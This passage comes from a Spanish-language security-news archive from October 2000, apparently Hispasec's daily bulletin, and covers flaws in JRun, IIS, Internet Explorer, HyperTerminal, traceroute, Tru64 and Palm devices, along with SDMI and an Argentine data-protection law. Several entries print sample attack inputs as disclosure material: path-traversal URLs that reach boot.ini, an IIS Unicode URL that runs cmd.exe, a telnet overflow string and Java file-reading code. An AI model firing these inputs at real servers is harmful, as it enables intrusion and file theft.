en el servidor todo el sistema de archivos quedará accesible para
cualquier visitante mediante simples peticiones web.
Se han descubierto varias vulnerabilidades en el motor JRun 2.3 que
permiten la visualización del código fuente de cualquier archivo que
se encuentre en el árbol del servidor web. Pero mediante el uso de
esta misma vulnerabilidad también es posible consultar archivos que se
encuentren fuera de la estructura del web, bajo el sistema de archivos
del servidor.

La potencia que ofrecen las páginas .JSP junto con servlets en Java
hace que empiece a extenderse el uso de esta tecnología, pero mediante
una URL especialmente construida y haciendo uso del servlet SSIFilter
un usuario remoto podrá conseguir acceso a cualquier archivo del
servidor. Como es habitual, esto se produce ya que no se filtra de
forma adecuada las rutas que incluyen la cadena "../", lo que hace que
una petición se pueda escapar del servidor web.

La vulnerabilidad se puede reproducir como muestran los siguientes
ejemplos de URLs maliciosas:

http://servidor.jrun/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter
/../../test.jsp

http://servidor.jrun/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter
/../../../../../../../boot.ini

http://servidor.jrun/servlet/ssifilter/../../test.jsp

http://servidor.jrun/servlet/ssifilter/../../../../../../../boot.ini

Allaire ha publicado un parche destinado a corregir esta
vulnerabilidad.



Antonio Ropero
antonior@hispasec.com


Más información:

Parche para Windows 95/98/NT/2000:
http://download.allaire.com/jrun/jr233p_ASB00_28_29.zip

Parche para UNIX/Linux:
http://download.allaire.com/jrun/jr233p_ASB00_28_29.tar.gz

Aviso de seguridad de Foundstone:
http://www.foundstone.com/cgi-bin/display.cgi?Content_ID=230

JRun Homepage:
http://www.allaire.com/products/jrun/index.cfm

Boletín de seguridad de Allaire
http://www.allaire.com/handlers/index.cfm?ID=17968&Method=Full



viernes, 20 de octubre de 2000

Una grave vulnerabilidad afecta a todos los servidores IIS

Todos los servidores web con Internet Information Server pueden
estar afectados por una grave vulnerabilidad que permite a un
atacante la ejecución de programas en la máquina.
El problema afecta a las versiones de Internet Information Server 4.0
y 5.0 y la gravedad del problema es tal que la propia Microsoft
recomienda la actualización inmediata de todos los servidores IIS. El
problema se basa en una vulnerabilidad típica y conocida de los
lectores habituales, como es la escalada de directorios mediante el
uso de "../". Esta cadena introducida en peticiones web especialmente
construidas, como es el caso que nos ocupa, permite subir directorios
y escapar del árbol del web.

Este tipo de ataques son habituales, si bien en esta ocasión para
evitar la protección impuesta por IIS ante estas peticiones se logra
reproducir el problema mediante la sustitución de los caracteres "/" y
"\" por su representación mediante caracteres UNICODE. Los caracteres
UNICODE son la representación hexadecimal de su valor ASCII precedido
de un símbolo %.

El problema es especialmente grave ya que esta vulnerabilidad puede
permitir acceder a la ejecución de cualquier comando, incluido lograr
el listado completo del árbol de directorios y archivos, borrar y
modificar ficheros, ejecutar un FTP, etc.

Como ya hemos explicado el problema se basa en la sustitución de los
caracteres "/" y "\" por su representación UNICODE, lo cual quiere
decir que dependerá del tipo de fuentes instaladas en el servidor. Así
por ejemplo una construcción valida para determinados servidores, con
la que se lograría un dir del directorio raíz, sería:

http://servidor.iis.afectado/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

Aunque como depende del tipo de fuentes otras representaciones válidas
son %c0%af, %c1%9c, %c0%qf, %c1%8s, %c1%9c y %c1%pc.

Microsoft ha reaccionado con la publicación de parches para todas las
versiones de IIS y lenguajes, por lo cual, debido la gravedad del
problema recomendamos la instalación inmediata del parche.



Antonio Ropero
antonior@hispasec.com


Más información:

Parche para IIS 4.0
http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp

Parche para IIS 5.0
http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp

Patch Available for Web Server Folder Traversal Vulnerability
http://www.microsoft.com/technet/security/bulletin/MS00-078.asp

Microsoft IIS 4.0 / 5.0 Extended UNICODE Directory Traversal Vulnerability
http://www.securityfocus.com/vdb/?id=1806



jueves, 19 de octubre de 2000

Guninski descubre una nueva vulnerabilidad

Georgi Guninski, habitual en nuestras noticias por sus frecuentes
avisos de seguridad, vuelva a cobrar protagonismo al descubrir una
nueva vulnerabilidad en toda la familia de Internet Explorer y
Outlook.
La nueva vulnerabilidad puede permitir a un atacante leer archivos,
direcciones URL absolutas y la estructura local de directorios del
ordenador atacado. Para ello, basta con que el usuario afectado lea un
mensaje html o consulte una página web.

El problema está en la posibilidad de especificar un codebase
arbitrario para un applet de java cargado desde una etiqueta <OBJECT>
y un archivo JAR. Los applets pueden leer URLs desde su codebase y
comunicarse con ordenadores desde él.

Guninski presenta el siguiente código de ejemplo, en el que se asigna
el codebase del applet a file:///c:/


">VALUE="http://www.guninski.com/gjavacodebase.jar">




El programa gjavacodebase.java debe trabajar de la siguiente forma:
......
try
{
u = new URL(getParameter("URL"));
InputStream is=u.openStream();
byte ba[]=new byte[1000];
int l=is.read(ba);
InputStream os=u.openConnection().getInputStream();
String s1=new String(ba,0,l);
print(u.toString());
print(s1);
}
.......

Esto no es un problema del lenguaje Java y según afirma Guninski
tampoco es un problema de la máquina virtual Java de Microsoft, sino
que el fallo reside en la forma en que el codebase es asignado por
Internet Explorer.



Antonio Ropero
antonior@hispasec.com


Más información:

Bugtraq
http://www.securityfocus.com/archive/1/140245

Demostración de la vulnerabilidad
http://www.guninski.com/javacodebase1.html

Securityfocus
http://www.securityfocus.com/vdb/bottom.html?vid=1812



miércoles, 18 de octubre de 2000

Réquiem por SDMI

Discográficas enfrentadas contra consumidores, sellos contra empresas
"punto com", artistas contra sus propios fans: MP3 está poniendo
Internet patas arriba. Para muchos, MP3 es sinónimo de piratería,
demandas judiciales o música gratis. En realidad, no se trata sino de
un simple formato de compresión de música que permite almacenar hasta
12 veces más que un CD de audio convencional, sin pérdida apreciable
de calidad. Ni piratas ni patas de palo. El revuelo procede de su
extendida utilización como formato ideal para intercambio ilegal de
música a través de Internet. Como resultado, MP3 está haciendo
tambalear los cimientos del poderoso emporio discográfico y
despertando las iras de la RIAA (Asociación Americana de la Industria
Discográfica), que agrupa a los principales sellos del mundo.
Así las cosas, la industria discográfica está ensayando nuevas
soluciones que le permitan poner freno a la distribución incontrolada
del MP3, pero sin renunciar a sus nuevas oportunidades de negocio a
través de Internet: creación de CD´s a la carta, pago por canción,
comercialización más ágil y barata, etc. La Iniciativa para la Música
Digital Segura (SDMI), auspiciada por RIAA y que reúne a cerca de 200
compañías y organizaciones, entre ellas sellos discográficos (como
los gigantes EMI o Warner), compañías de electrónica de consumo y de
Tecnologías de la Información, proveedores de servicio de Internet y
compañías de tecnologías de seguridad, tiene como misión la creación
de un estándar para la protección de música en MP3 y otros formatos
(Liquid Audio, Real Audio, a2b, VQF, etc.). Hasta el momento, en su
Fase I, la SDMI ha acordado adoptar la tecnología de marcas de agua
de Verance Corporation (www.verance.com) para lo que llaman criba
(screening), es decir, para decidir si un reproductor MP3 compatible
con SDMI permite reproducir o no una determinada canción.

El pasado viernes 15 de septiembre la SDMI lanzó a la comunidad
internauta el reto de atacar a su sistema de protección musical,
ofreciendo un premio irrisorio de 10.000 dólares al que consiguiera
eliminar la marca de agua de la canción digital propuesta
(www.sdmi.org/pr/OL_Sept_6_2000.htm). Los atacantes contaban de plazo
hasta el día 7 de octubre. Por su parte, la Electronic Frontier
Foundation (EFF) hizo un llamamiento a la comunidad hacker
(www.eff.org/Misc/EFF/Newsletters/EFFector/HTML/effect13.08.html)
para no participar en este desafío, ya que, según su opinión, se
trata de una triquiñuela que utiliza la industria discográfica para
conseguir una auditoría de seguridad a precio de saldo de su sistema
de protección. Otras figuras relevantes del movimiento de fuentes
abiertas (www2.linuxjournal.com/articles/misc/0022.html) han
levantado sus voces de protesta ante lo que consideran una
intromisión vergonzosa en la privacidad de los usuarios y en su
capacidad de disfrutar de la música como mejor prefieran, así como un
intento de aplastar modelos de distribución de música alternativos no
compatibles con SDMI.

Lo cierto es que, a pesar de llamamientos en contra de la
participación, según se rumorea, la protección ya ha sido rota,
aunque la SDMI lo niega con vehemencia. En las declaraciones
oficiales (www.hacksdmi.org ) ofrecen largas sobre el asunto, con la
copla de "estamos evaluando los ataques recibidos". La pregunta que
flota en el aire es: ¿fueron las marcas de agua de la tecnología
implantada por SDMI realmente eliminadas o no?

Aunque no existe aún evidencia en este sentido, sí cabe efectuar la
reflexión acerca de qué puede pasar en uno y otro caso. Si la
respuesta es negativa, es decir, si SDMI consiguió aguantar el tipo,
¿significa esto que la tecnología es segura? Evidentemente no. Este
argumento falaz seguramente será esgrimido por la SDMI para hacer
callar a los indecisos: "Lanzamos el reto a los hackers del mundo y
nadie, repetimos, NADIE fue capaz de romper nuestro maravilloso
sistema. Por lo tanto, es completamente seguro". Ahora bien, en
primer lugar, que nadie rompa un sistema de protección en el plazo de
tres semanas, no implica que ya sea seguro para siempre jamás. En
segundo lugar, habría que reconsiderar la cualidad de los ataques,
esto es, la capacitación profesional de los hackers que, desoyendo el
llamamiento de EFF y otras voces, sí intentaron, aunque sin éxito,
atacar el sistema. Hay quien sostiene que sólo los hackers de poca
monta se movilizaron por una limosna como 10.000 dólares. En tercer
lugar, nadie sabe si algún hacker lo atacó con éxito y guarda
silencio, esperando para anunciarlo a que se comercialicen los
productos que incorporen SDMI, humillando así a la industria
discográfica. En cuarto lugar, el código de los algoritmos utilizados
en la protección no está disponible. Se trata por tanto de un ataque
a ciegas a un sistema basado en el viejo lema de "seguridad a través
de la oscuridad". Si SDMI se llega a implantar en los productos
comerciales de reproducción de música, es sólo cuestión de tiempo el
que las fuentes estén disponibles. Y en esas circunstancias, con el
conocimiento del funcionamiento interno de los algoritmos, los
ataques serán mucho más fáciles y efectivos. No les habría venido mal
aprender del proceso de selección de AES, el nuevo algoritmo de
cifrado para el siglo XXI, llevado a cabo por el NIST de forma
transparente e impecable
(www.iec.csic.es/criptonomicon/susurros/susurros25.html). En
definitiva, nada se puede deducir de un resultado negativo de este
desafío.

Por otro lado, ¿qué pasaría si la SDMI reconoce públicamente que se
destruyeron las marcas, eso sí, conservando los niveles de calidad
musicales previos al ataque? En este caso, la SDMI se interna en un
callejón sin salida. Ya no se trata de la batalla legal entre
discográficas y piratas de música, entre la RIAA y Napster, Gnutella
o Scour (todos ellos en los juzgados actualmente). Se trata más bien
de un problema interno entre las empresas de venta y comercialización
de música digital y las empresas tecnológicas y de seguridad
agrupadas bajo la SDMI. El ritmo frenético del mercado exige salir
con una solución ya. Han pasado casi dos años desde la creación de la
iniciativa SDMI y si las marcas fallan, la situación será
insostenible. Después de todos los esfuerzos, no quedaría nada
tangible a lo que aferrarse. Estas técnicas intrusivas exigen
software o dispositivos especiales en el sistema de reproducción del
usuario y limitan por tanto la comodidad y disfrute de la música
legalmente adquirida. Si encima el sistema de protección hace aguas,
entonces no ya no resta incentivo alguno para empujar a los usuarios
a comprar estos reproductores. Tanto si funcionan como si no, las
marcas de agua están concebidas para proteger los intereses
comerciales de los grandes sellos y solamente acarrean problemas y
limitaciones a los usuarios finales. Si además no añaden seguridad,
ni frenan la expansión de la piratería y cuestan un ojo de la cara,
apaga y vámonos.

Haga lo que haga la SDMI, sus marcas de agua serán destruidas. La
tecnología de marcaje, en su estado de desarrollo actual, es insegura
y lo seguirá siendo por mucho tiempo. Hoy por hoy, a pesar de la
intensa investigación en este campo, resulta relativamente sencillo
eliminar las marcas de agua de los esquemas conocidos. A menos que la
SDMI nos sorprenda con una revolución copernicana en esta disciplina
criptográfica, todos sus esfuerzos serán en vano. Más le valdría
buscar nuevos derroteros para combatir la piratería, porque marcando
música no va a llegar muy lejos.



Gonzalo Álvarez Marañón
criptonomicon@iec.csic.es


Más información:

Réquiem por SDMI
http://www.iec.csic.es/criptonomicon/susurros/susurros26.html

SDMI
http://www.sdmi.org

Hack SDMI
http:/www.hacksdmi.org

Las guerras del MP3
http://www.iec.csic.es/criptonomicon/susurros/susurros20.html

¡SDMI crackeado!
http://www.hispamp3.com/noticias/0010/001013_2.shtml



martes, 17 de octubre de 2000

Desbordamiento de búfer en HyperTerminal

Se ha descubierto un problema de desbordamiento de búfer en el cliente
de telnet HyperTerminal distribuido en Windows. Exactamente la
vulnerabilidad radica en el código que procesa la URL o dirección a
la que se hace el telnet.
Esta vulnerabilidad en HyperTerminal, aplicación desarrollada por
Hylgraeve e incluida por Microsoft en sus sistemas operativos, puede
brindar a un atacante la posibilidad de lograr la ejecución de código
en la máquina del usuario atacado. El ataque se puede realizar
mediante la inclusión de una URL maliciosa especialmente creada en un
mensaje HTML que atraiga al usuario a pulsar sobre el enlace
malicioso.

El problema se produce al introducir una dirección excesivamente
larga, que supere los 153 caracteres, de la forma:
telnet://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaa:aaaa/

La aplicación HyperTerminal se instala por defecto en Windows 98,
98SE, Windows ME, Windows NT y Windows 2000, si bien en Windows 2000
no se configura como cliente por defecto. Microsoft ha publicado un
parche destinado a solucionar esta vulnerabilidad.



Antonio Ropero
antonior@hispasec.com


Más información:

Parche para Windows 98 y 98SE
http://download.microsoft.com/download/win98/Update/12395/W98/EN-US/274548USA8.EXE

Parche para Windows Me
http://download.microsoft.com/download/winme/Update/12395/WinMe/EN-US/274548USAM.EXE

Parche para Windows 2000
http://www.microsoft.com/downloads/release.asp?releaseid=25112

HyperTerminal Private Edition 6.1 Plugs Windows Security Hole
http://www.hilgraeve.com/company/press/1999-2000/001019htpe61.html

Boletín de seguridad de Microsoft
http://www.microsoft.com/technet/security/bulletin/ms00-079.asp



lunes, 16 de octubre de 2000

Microsoft exporta sus agujeros a Unix

El navegador y cliente de correo más utilizados en entornos Windows,
Internet Explorer y Outlook Express, ya cuentan con una versión para
plataformas Unix. El problema es que Microsoft no está proporcionando
las actualizaciones de seguridad para estas nuevas versiones.
Internet Explorer 5 y Outlook Express están disponibles para Solaris y
HP-UX, donde Microsoft destaca que se trata del mejor navegador para
visualizar los documentos de Office con soporte XML y DHTML. A los
administradores se les hace hincapié en la posibilidad de crear
distribuciones preconfiguradas con el Administration Kit, mientras que
para los desarrolladores y diseñadores web es presentado como la
aplicación multiplataforma sobre la que sus creaciones correrán de
igual forma en Windows y Unix.

Hasta aquí las ventajas que nos presentan, a continuación las malas
noticias.

Microsoft hizo la migración al nuevo entorno con la versión 5, y desde
entonces no ha dado soporte para las continuas vulnerabilidades que
han surgido, ni facilita para estas plataformas las última versión
5.5. El resultado es que Internet Explorer 5 y Outlook Express para
Unix se presentan con numerosos agujeros de seguridad que pueden ser
explotados de igual forma que ocurriera en Windows, y entre los que
destacan los descubiertos por nuestro habitual Georgi Guninski.

La excepción, que confirma la regla, la encontramos en la última y
grave vulnerabilidad descubierta en la Máquina Virtual Java de
Microsoft, gracias a que Internet Explorer para HP-UX utiliza la
Máquina Virtual de Java desarrollada por Hewlett-Packard, mientras
que en Solaris utiliza la de Sun Microsystems. Tampoco pueden ser
explotadas las vulnerabilidades que se basan en tecnología propia
de los entornos Windows, caso de componentes Active-X, pero sin
embargo existen aun numerosos agujeros que afectan de forma grave,
entre los que destacamos algunos en el apartado de enlaces.



Bernardo Quintero
bernardo@hispasec.com


Más información:

Internet Explorer for UNIX
http://www.microsoft.com/unix/ie/default.asp

Vulnerabilidad "JavaScript Redirect" en Internet Explorer
http://www.hispasec.com/unaaldia.asp?id=356

Vulnerabilidad "IFRAME" en Microsoft IE5
http://www.hispasec.com/unaaldia.asp?id=349

Vulnerabilidades en Internet Explorer 5.0
http://www.hispasec.com/unaaldia.asp?id=165

In-Seguridad en Internet Explorer 5
http://www.hispasec.com/unaaldia.asp?id=159

Parche obligado para usuarios de Windows 9x/Me/NT/2000
http://www.hispasec.com/unaaldia.asp?id=717



domingo, 15 de octubre de 2000

Aprobada en Argentina la ley de Protección de Datos personales

El Senado argentino ha dado un importante paso adelante para la
protección del derecho a la intimidad de sus ciudadanos, al aprobar
una ley que tendrá como fin garantizar a los ciudadanos el control y
el libre acceso a la información que de estos posean organismos
públicos y privados.
Tras un largo periplo que data de la reforma constitucional realizada
en 1994, en la cual se establecía en su articulo 43 el derecho de
cualquier ciudadano a preservar su intimidad, y tras enfrentarse
incluso a un veto presidencial en 1996, el pasado día 4 del presente
mes fue aprobada la ley denominada "Hábeas Data". Esta ley se
encargará de proteger los datos de los ciudadanos argentinos.

La citada ley distingue dos tipos de datos, los comunes (nombre,
apellidos, dirección, etc.) y los sensibles. Se consideran como datos
sensibles cualquier información del individuo que pueda motivar algún
tipo de discriminación por parte de terceros. Entre estos últimos
estarían la raza y la orientación política o sexual.

La nueva ley obliga a las empresas a comunicar por escrito a los
ciudadanos la inclusión de sus datos personales en sus bases de
datos. De igual forma se establece la obligatoriedad de suprimir o
sustituir los datos inexactos de cualquier ciudadano. Los datos de
los ciudadanos deberán ser fácilmente accesibles por los mismos,
para ello se establece un plazo de 10 días para responder a la
consulta de información de cualquier individuo que previamente
haya demostrado su identidad.

Para controlar esta ley se crea un nuevo organismo de control estatal
cuya misión será la de vigilar a los organismos públicos y empresas
privadas. Este órgano podrá aplicar multas que van desde lo 5.000
hasta los 100.000 pesos a quien o quienes ofrezcan información sin
consentimiento o errónea. Incluso, se podrá llegar a condenas de 3
años de prisión si se incluyen datos falsos a sabiendas.

Los lectores de Hispasec pueden consultar el texto completo de la
Ley en la sección "Búfer Abierto": http://www.hispasec.com/bufer.asp



Antonio J. Román Arrebola
antonio_roman@hispasec.com


Más información:

Hispasec Bufer Abierto. Ley de Habeas Data
http://www.hispasec.com/bufer_articulo.asp?id=35

Diputados aprobó el hábeas data
http://www.clarin.com.ar/diario/2000-09-17/s-05701.htm

El Senado sancionó una ley que regula el uso de datos personales
http://www.clarin.com.ar/diario/2000-10-05/s-04201.htm

El Senado aprobó la ley de hábeas data
http://buscador.lanacion.com.ar/show.pl?url=00/10/05/p05.htm&high=data%20habeas&s=PO&f=05/10/2000

Senado: convertiría en ley el hábeas data
http://buscador.lanacion.com.ar/show.pl?url=00/10/04/p13.htm&high=data%20habeas&s=PO&f=04/10/2000



sábado, 14 de octubre de 2000

Traceroute proporciona acceso local a "root"

La utilidad "traceroute", utilizada de forma constante por cualquier
administrador de redes, contiene una vulnerabilidad que permite que un
usuario local obtenga privilegios de administrador o "root". La
vulnerabilidad afecta a las versiones anteriores a la
"traceroute-1.4a5-16", distribución LBL.
Traceroute es un programa que permite analizar las rutas IP que siguen
los datagramas entre la máquina que ejecuta el "traceroute" y un
servidor destino arbitrario. La utilidad nos va imprimiendo en
pantalla los nodos que necesita atravesar el datagrama para alcanzar
su destino. Se trata, por tanto, de una herramienta de gran
importancia a la hora de diagnosticar problemas de red.

Debido a que existen varias implementaciones distintas de
"traceroute", la vulnerabilidad no está presente en todos los sistemas
Unix. El problema se complica porque diversos desarrolladores han
solucionado el problema en distintas posiciones del "árbol" de código,
por lo que deducir qué versiones son vulnerables y cuáles no es
complicado.

Muchas de las distribuciones Linux son vulnerables, aunque SUSE ha
informado de que en este caso concreto utilizan un código distinto.

Digital Unix, AIX, FreeBSD, OpenBSD, HP-UX no parecen ser vulnerables.
El caso de Solaris es especial. Aunque se dice que las versiones
anteriores a Solaris 7 son vulnerables (se nombra específicamente a la
versión 2.5.1), personalmente no he conseguido reproducir el problema,
tal vez porque me preocupo de mantener todos mis sistemas
actualizados.

El problema se basa en intentar hacer un "free()" en un bloque de
memoria cuyos descriptores "malloc" han sido manipulados
convenientemente por un atacante local. De esta forma se consigue que
un "free" modifique la memoria de tal forma que se posibilite la
ejecución de código arbitrario. Dado que traceroute suele ser una
aplicación "setuid", el código ejecutado tendrá privilegios de
administrador o "root".

La solución más evidente, además de actualizarse a una versión no
vulnerable, es eliminar el flag "setuid" en traceroute, limitando así
su ejecución a "root".



Jesús Cea Avión
jcea@hispasec.com


Más información:

MandrakeSoft Security Advisory: traceroute
http://www.linux-mandrake.com/en/security/MDKSA-2000-053.php3?dis=7.1

security problem in traceroute
http://www.calderasystems.com/support/security/advisories/CSSA-2000-034.0.txt

LBNL Traceroute Heap Corruption Vulnerability
http://www.securityfocus.com/bid/1739



viernes, 13 de octubre de 2000

Vulnerabilidad de Internet Explorer con los servidores seguros

Una vulnerabilidad en el navegador de Microsoft puede revelar el
nombre de usuario y contraseña utilizados para autentificarnos ante un
servicio Web seguro, cómo suele ser habitual en comercios electrónicos
o servicios de banca a través de Internet. El problema afecta a
Internet Explorer 4.x y las versiones 5.x anteriores a la 5.5.
Los servidores seguros establecen un canal cifrado, vía el protocolo
SSL por ejemplo, de forma que los datos que viajan entre el navegador
del usuario y el servidor Web no puedan ser interpretados por un
tercero que "escuche" el tráfico. Entre el navegador y el servidor
seguro se establece un diálogo donde negocian que versión de SSL van
a utilizar, que algoritmos de cifrado simétrico soportan, e
intercambian los desafíos y claves públicas para enviar la clave
maestra. De cara al usuario toda esta negociación y posterior cifrado
es transparente, tan sólo el aviso de que va a conectar con un
servidor seguro y un icono en el navegador, un candado cerrado en el
caso de Internet Explorer, recuerdan al usuario de que está utilizando
una sesión segura.

Las transacciones vía Web que requieren seguridad deben de utilizar
este tipo de servidores, por ejemplo los servicios de banca a través
de Internet. En estos sitios ya se establece la conexión segura antes
de que introduzcamos nuestro nombre o número de usuario y contraseña,
de manera que esos datos ya vayan cifrados y no puedan ser robados
por alguien que "escuche" la transmisión. Por descontado, esta
conexión segura se mantiene durante la sesión para proteger toda
la información sensible que viaja durante las transacciones que
realicemos con nuestra cuenta del banco.

Internet Explorer almacena en una caché el nombre de usuario y
contraseña utilizados en la autentificación básica a través de una
sesión segura para automatizar y minimizar el número de veces que el
usuario debe autentificarse si el mismo sitio lo requiriese de
nuevo. En teoría Internet Explorer sólo debería enviar estos datos
bajo una conexión segura, la realidad es que es posible provocar el
envío de los datos almacenados en la caché bajo sesiones no cifradas.

Este defecto provoca que un atacante, "escuchando" entre el usuario
final y el servidor web seguro, pueda hacer una petición de
autentificación haciéndose pasar por el servidor y utilizando una
sesión no segura. El resultado es que el atacante recibe sin ningún
tipo de cifrado el nombre de usuario y la contraseña, por lo que
puede acceder al sitio web seguro suplantando al usuario legítimo.

Microsoft facilita un parche para corregir esta vulnerabilidad,
disponible sólo para Internet Explorer 5.01 en el momento de escribir
esta noticia:

http://www.microsoft.com/windows/ie/download/critical/q273868.htm

Este parche actualiza el navegador de forma que la caché de
autentificación web no es utilizada sobre sesiones no seguras si
inicialmente fueron utilizadas sobre una conexión segura.

Los usuarios afectados cuya versión de navegador aun no disponga
de su correspondiente parche pueden optar por actualizarse a
Internet Explorer 5.5, que está libre del problema. Si prefieren
esperar, opción no recomendada, deberán cerrar Internet Explorer
tras terminar una sesión segura y volver a iniciarlo para seguir
navegando. De esta forma se minimiza el riesgo de sufrir el ataque,
ya que la caché donde se almacena el nombre de usuario y contraseña
se borra cada vez que se cierra el navegador.



Bernardo Quintero
bernardo@hispasec.com


Más información:

Patch Available for "Cached Web Credentials" Vulnerability
http://www.microsoft.com/technet/security/bulletin/MS00-076.asp

FAQ Microsoft Security Bulletin (MS00-076)
http://www.microsoft.com/technet/security/bulletin/fq00-076.asp

Microsoft Internet Explorer Cached Web Credentials Disclosure
Vulnerability
http://www.securityfocus.com/bid/1793



jueves, 12 de octubre de 2000

Fallo de seguridad en el demonio "kdebugd" de Digital UNIX/Tru64

El demonio "kdebugd" de Digital UNIX (recientemente renombrado a
Tru64, el sistema operativo de Digital para sus equipos Alpha) es
vulnerable a un ataque remoto, que permite la visualización de
cualquier archivo en disco. El fallo también puede ser utilizado para
sobreescribir los primeros bytes de cualquier fichero del sistema.
Cuando el demonio "kdebug" recibe una conexión que se inicia con la
cadena "kdebug", acepta cualquier nombre de fichero como "almacén"
para almacenar la sesión. Dicho fichero será accedido con privilegios
de "root" o administrador, por lo que se puede modificar cualquier
fichero del sistema. La modificación se produce exclusivamente sobre
ficheros ya existentes, y se realiza sobre los primeros bytes de los
mismos.

Utilizando esta vulnerabilidad sobre el archivo "/dev/remote", es
posible inducir a "kdebug" para que nos muestre cualquier archivo del
sistema.

Compaq (los actuales propietarios de Digital/DEC) ha reconocido la
vulnerabilidad en Tru64 5.0, e informa de que publicará un parche en
el "patch kit" de tru64 UNIX V5.1.

Las versiones 4.0d, 4.0e, 4.0f, también son vulnerables, pero Compaq
no se ha pronunciado al respecto.

Mientras tanto, la única opción que queda a los administradores de
Digital UNIX/Tru64 es eliminar el servicio "kdebugd" editando el
fichero "/etc/inetd.conf".



Jesús Cea Avión
jcea@hispasec.com


Más información:

Compaq Tru64 kdebugd Remote Arbitrary File Write Vulnerability
http://www.securityfocus.com/bid/1693



miércoles, 11 de octubre de 2000

IMPORTANTE: parche *obligado* para usuarios de Windows 9x/Me/NT/2000

Microsoft facilita un parche que elimina una grave vulnerabilidad
en su Máquina Virtual de Java (Microsoft VM). El problema que
corrige, descubierto la semana pasada por Georgi Guninski y descrito
en "una-al-día", permite la ejecución de código arbitrario en los
sistemas de los usuarios con tan sólo visitar una página web o
leer un mensaje de correo HTML.
La vulnerabilidad es tan grave que permite, con tan sólo enviar un
correo electrónico, controlar la máquina del usuario al que va
destinado, y llevar acciones cómo crear ficheros, modificar y borrar
datos, leer y enviar información sensible, instalar desde Internet
virus o troyanos, formatear el disco duro, etc.

El problema, cómo ya comentamos, se encuentra en el objeto
com.ms.activeX.ActiveXComponent, destinado a incluir controles
ActiveX en las aplicaciones Java, que permite crear y ejecutar
objetos ActiveX incluyendo los que no están marcados como seguros.
Por diseño sólo los applets de Java firmados pueden llevar a cabo
este tipo de acciones, pero un error de implementación por parte
de Microsoft permite que cualquier applet pueda hacerlo.

Los detalles de la vulnerabilidad pueden encontrarse en:

03/10/2000 - Grave vulnerabilidad en Internet Explorer y Outlook
http://www.hispasec.com/unaaldia.asp?id=709

La máquina virtual de Java forma parte de los sistemas operativos
Win32 de Microsoft (Windows 95, 98, 98 Segunda Edición, Me, NT y
2000), y se distribuye además junto con Internet Explorer. La inmensa
mayoría de los usuarios de estos sistemas se encuentran afectados, ya
que la máquina virtual de Java que se distribuye con las versiones de
Internet Explorer 4.x y 5.x es vulnerable.

Las versiones afectadas de la máquina virtual de Java de Microsoft
están comprendidas entre los siguientes rangos:

2000-2446
2752-3194
3229-3240
3300-3317

Para conocer la versión de la máquina virtual de Java que tenemos
instalada en nuestro sistema deberemos seguir los siguientes pasos:

1) Abrir una sesión Dos:
-En Windows NT/2000: Inicio -> Ejecutar: teclear "CMD" e Intro
-En Windows 95/98/Me: Inicio -> Ejecutar: teclear "COMMAND" e Intro

2) En la sesión Dos que se abre, teclear "JVIEW" y pulsar Intro

3) En la primera línea de información que ofrece esta utilidad se
puede la versión de la máquina virtual de Java, en un formato
tipo "5.00.xxxx", donde "xxxx" es la versión.

Por ejemplo, si un sistema nos muestra la siguiente información:

Cargador de línea de comandos de Microsoft (R) para Java Versión 4.79.2435
Copyright (C) Microsoft Corp 1996-1998. Todos los derechos reservados.

Nuestra versión de la MV de Java la formaran los 4 últimos dígitos, es
decir: "2435".

Todos los usuarios afectados deberán actualizarse de inmediato a la
versión 3318 que corrige el problema. Los detalles de la actualización
pueden encontrarse en:

Microsoft Virtual Machine for Internet Explorer 5.5
(Build 3318, released 10/12/00)
http://www.microsoft.com/java/vm/dl_vm40.htm

Actualización VM 3318 para Windows 95/98/Me/NT 4.0 (5,4MB)
http://download.microsoft.com/download/javasdk/install/3318/w9xnt4/en-us/msjavx86.exe

Actualización VM 3318 para Windows 2000 (HotFix)
http://download.microsoft.com/download/win2000platform/patch/3318/nt5/en-us/q275526_w2k_sp2_x86_en.exe

Según la información facilitada por Microsoft, los usuarios cuya
versión de la máquina virtual de Java sea de la serie 2000 tendrán
que esperar a una actualización específica que se facilitará en breve.



Bernardo Quintero
bernardo@hispasec.com


Más información:

03/10/2000 - Grave vulnerabilidad en Internet Explorer y Outlook
http://www.hispasec.com/unaaldia.asp?id=709

Patch Available for "Microsoft VM ActiveX Component" Vulnerability
http://www.microsoft.com/technet/security/bulletin/ms00-075.asp

FAQ Microsoft Security Bulletin (MS00-075)
http://www.microsoft.com/technet/security/bulletin/fq00-075.asp

IE 5.5/Outlook security vulnerability
com.ms.activeX.ActiveXComponent allows executing arbitrary programs
http://www.guninski.com/javaea.html



martes, 10 de octubre de 2000

Acceso a las claves de los Palm Pilot de forma remota

Un error de diseño en el protocolo "hotsync" permite que cualquier
fuente de rayos infrarojos pueda hacerse pasar por un servidor
"hotsync" ante un dispositivo Palm Pilot, o bien "leer" la
comunicación entre un Palm Pilot y un servidor "hotsync" confiable.
Cuando un Palm Pilot se conecta a un servidor "hotsync", envía su
clave cifrada utilizando un sencillo "xor". Por tanto, cualquier
detector de infrarojos puede obtener la clave del usuario. Es más, un
atacante puede suplantar un servidor "HotSync" y provocar el envío de
la clave por parte del Palm Pilot.

Con dicha clave, el atacante puede acceder a todos los recursos del
Palm Pilot, incluyendo los registros "protegidos". Es más; dado que la
mayoría de los usuarios suelen reutilizar su clave en otros
dispositivos, una clave Palm Pilot filtrada puede comprometer la
seguridad de un buen número de sistemas, cuentas de correo
electrónico, etc.

Los riesgos de este ataque son patentes en entornos de oficina con un
buen número de Palm Pilots (muchas de las "start-up" de Internet
entran de lleno en esta categoría), y con servidores "HotSync".
Cualquier compañero malicioso puede utilizar su propia Palm Pilot, o
un programa a tal efecto en su ordenador, para capturar las claves
Palm que "flotan en el ambiente".

En cualquier caso, existen también otras soluciones para poder acceder
a un sistema Palm y a sus registros protegidos, como se muestra en los
enlaces.



Jesús Cea Avión
jcea@hispasec.com


Más información:
PalmOS Password Retrieval and Decoding
